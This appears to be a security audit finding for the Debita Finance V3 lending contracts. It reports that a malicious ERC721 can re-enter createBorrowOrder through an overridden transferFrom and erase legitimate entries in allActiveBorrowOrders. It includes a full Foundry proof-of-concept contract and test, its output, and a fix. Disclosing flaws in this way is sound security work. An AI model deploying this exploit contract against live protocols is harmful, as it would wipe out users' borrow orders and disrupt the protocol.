Calm Fern Parrot

High

# Attacker can replace all active borrow orders with malicious orders

### Summary

`DBOFactory:allActiveBorrowOrders` mapping will be used buy the Debita bot to match borrow orders with lend order.
We found an attack which can replace the borrow orders addresses in the mapping with attackers malicious borrow orders addresses.
The attack will lead to complete collapse of the protocol because there won't be any real borrow orders in the protocol.

### Vulnerability Detail

Attacker can create a borrow order with malicious erc721.
The malicious erc721 will override the `transferFrom` function.
`transferFrom` will be used to call `DBOImplementation:cancelOffer()`of the attacker borrow order.  Because the `transferFrom` function is called before the attackers borrow order is set, cancel attacker borrow order will delete the 0th user and set the last user to the 0th index.
The attack can be repeated after every users borrow order to delete every user borrow order address in the mapping and collapse the protocol.

### Attack Implementation

Attacker creates a malicious erc721.
Malicious erc721 will be used as a creator contract of  borrow order.
Therefore in malicious erc721 the `onERC721Received` will be implemented. Because the creator needs a token to create borrow order.

Malicious erc721 `transferFrom` will be overridden to cancel the attacker borrow order and transfer the tokens only in if `msg.sender` is `DBOFactory`.

The attack is simple from now on:
1. Malicious erc721 mints itself and creates borrow order with minted token as collateral.
2. The borrow order sets the `DBOFactory:isBorrowOrderLegit` to `true` before the malicious erc721 `transferFrom` is called.
3. Therefore the malicious erc721 can call the `cancelOffer()` and delete the 0th index of `allActiveBorrowOrders`.
4. After the cancel in `transferFrom`, `super.transferFrom()` is called to transfer the malicious erc721.
5. Now attackers borrow order has one erc721 token and it passes the ``require(balance >= _collateralAmount, "Invalid balance");` in `DBOFactory:createBorrowOrder()`.
6. Attackers borrow order it is set to `allActiveBorrowOrders` and the 0th user is deleted successfully.
7. The attack can be repeated after each user creation of borrow order twice to collapse the protocol. First calling to set the last active borrow order index to 0th index. And second time to delete the 0th index. 

### Code Snippet

Following test creates a borrower borrow order and implements attack to replace the borrower borrow order address in `allActiveBorrowOrders` mapping.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol"; // Optional, for logging during tests

import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DynamicData} from "../interfaces/getDynamicData.sol";
import {IDBOFactory} from "./interfaces/IDBOFactory.sol";
import {IDBOImplementation} from "./interfaces/IDBOImplementation.sol";

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";

contract MaliciousERC721 is ERC721 {

    DynamicData public allDynamicData;
    address factoryAddress;
    address Alice;
    uint receiptID = 1;
    mapping(uint => string) private receiptData;

    struct receiptInstance {
        uint receiptID;
        uint attachedNFT;
        uint lockedAmount;
        uint lockedDate;
        uint decimals;
        address vault;
        address underlying;
    }

    // in constror set the factory contract address
    constructor(address _factoryAddress) ERC721("MaliciousNFT", "MNFT") {
        factoryAddress = _factoryAddress;
    }

    function mint(address to, uint256 id) public {
        _safeMint(to, id);
    }

    // for DebitaBorrowOffer-Implementation.sol:105
    function getDataByReceipt(uint _receiptID) public view returns (receiptInstance memory) {

        receiptInstance memory instance = receiptInstance({
                receiptID: _receiptID,
                attachedNFT: 0,
                lockedAmount: 0, 
                lockedDate: 0,
                decimals: 0,
                vault: address(0x0),
                underlying: address(0x0)
        });

        return instance;
    }

    // function for erc721 to recieve erc721
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes memory data
    ) public returns (bytes4) {

        return this.onERC721Received.selector;
    }

    // override transferFrom to call cancelOffer of malicious erc721 borrow order created in attack,
    // and than transfer the tokens to pass the require 

    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public override {

        
        if(msg.sender == factoryAddress){
            IDBOImplementation(to).cancelOffer(); 
            super.transferFrom(from, to, tokenId);
        }
    }

    function attack() public {

        allDynamicData = new DynamicData();

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        ratio[0] = 5e17;
        oraclesActivated[0] = false;
        ltvs[0] = 0;
        acceptedPrinciples[0] = Alice;
        oraclesPrinciples[0] = address(0x0);

        IERC721(address(this)).approve(address(factoryAddress), receiptID);

        // malicious erc721 creates a borrow order with malicious erc721
        address borrowOrderAddress = IDBOFactory(factoryAddress).createBorrowOrder(
            oraclesActivated,
            ltvs,
            1400,
            864000,
            acceptedPrinciples,
            address(this),
            true,
            receiptID,
            oraclesPrinciples,
            ratio,
            address(0x0),
            1
        );
    }
}

// run test with: forge test --match-path test/vidus/MaliciousNFT.sol -vvv
contract MaliciousNFTTest is Test, DynamicData {

    DBOFactory public DBOFactoryContract;
    DBOImplementation public BorrowOrder;
    DynamicData public allDynamicData;

    MaliciousERC721 maliciousERC721;
    address borrower;
    address attacker;

    ERC20Mock public USDCContract;
    address USDC;

    function setUp() public {

        borrower = makeAddr("borrower");
        attacker = makeAddr("attacker");

        USDCContract = new ERC20Mock();
        USDC = address(USDCContract);

        DBOImplementation borrowOrderImplementation = new DBOImplementation();
        DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
        allDynamicData = new DynamicData();

        maliciousERC721 = new MaliciousERC721(address(DBOFactoryContract));
        //mint malicious erc721 to malicious erc721
        maliciousERC721.mint(address(maliciousERC721), 1);

    }

    function testAttack() public {

        createBorrowOrderWithBorrower();

        // function will console address of borrowOrderAddress in allActiveBorrowOrders
        console.log("Borrow order at index 0 before the attack:", DBOFactoryContract.allActiveBorrowOrders(0));

        // attack
        vm.prank(attacker);
        maliciousERC721.attack();
        vm.stopPrank();

        // function will console address of borrow order address of malicious nft in allActiveBorrowOrders
        console.log("Borrow order at index 0 after the attack:", DBOFactoryContract.allActiveBorrowOrders(0));

    }

    function createBorrowOrderWithBorrower() public {

        // normal borrow order creation by borrower
        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        ratio[0] = 5e17;
        oraclesPrinciples[0] = address(0x0);
        acceptedPrinciples[0] = makeAddr("Alice");
        oraclesActivated[0] = false;
        ltvs[0] = 0;

        deal(USDC, borrower, 1000e18, false);

        vm.startPrank(borrower);

        USDCContract.approve(address(DBOFactoryContract), 11e18);
        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
            oraclesActivated,
            ltvs,
            1400,
            864000,
            acceptedPrinciples,
            USDC,
            false,
            0,
            oraclesPrinciples,
            ratio,
            address(0x0),
            10e18
        );

        vm.stopPrank();

    }
    
}
```

Output:

```solidity
Borrow order at index 0 before the attack: 0x4f81992FCe2E1846dD528eC0102e6eE1f61ed3e2
Borrow order at index 0 after the attack: 0xCB6f5076b5bbae81D7643BfBf57897E8E3FB1db9
```

The attacker successfully replace the 0th index in `allActiveBorrowOrders` with malicious erc721 borrow order address

### Tool Used

Manual Review

### Lines of Concern

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaBorrowOffer-Factory.sol#L124-L144

### Recommendation

Set `isBorrowOrderLegit` to `true` after erc721`transferFrom`:
```solidity
-       isBorrowOrderLegit[address(borrowOffer)] = true;
        if (_isNFT) {
            IERC721(_collateral).transferFrom(
                msg.sender,
                address(borrowOffer),
                _receiptID
            );
        } else {
            SafeERC20.safeTransferFrom(
                IERC20(_collateral),
                msg.sender,
                address(borrowOffer),
                _collateralAmount
            );
        }
+       isBorrowOrderLegit[address(borrowOffer)] = true; 
```